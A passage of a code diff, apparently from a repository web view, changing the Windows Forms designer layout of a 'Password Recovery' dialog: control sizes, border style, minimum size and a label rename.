| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.txtFormat.Location = new System.Drawing.Point(6, 19);
|
||||
this.txtFormat.Name = "txtFormat";
|
||||
this.txtFormat.Size = new System.Drawing.Size(537, 22);
|
||||
|
@ -238,8 +249,8 @@
|
|||
this.Controls.Add(this.groupBox2);
|
||||
this.Controls.Add(this.groupBox1);
|
||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.MinimumSize = new System.Drawing.Size(589, 400);
|
||||
this.Name = "FrmPasswordRecovery";
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "Password Recovery []";
|
||||
|
@ -272,7 +283,7 @@
|
|||
private System.Windows.Forms.ToolStripMenuItem allToolStripMenuItem1;
|
||||
private System.Windows.Forms.ToolStripMenuItem selectedToolStripMenuItem1;
|
||||
private System.Windows.Forms.GroupBox groupBox2;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.Label lblInfo;
|
||||
private System.Windows.Forms.TextBox txtFormat;
|
||||
private System.Windows.Forms.ToolStripMenuItem allToolStripMenuItem2;
|
||||
private System.Windows.Forms.ToolStripMenuItem selectedToolStripMenuItem2;
|
||||
|
|
Loading…
Reference in New Issue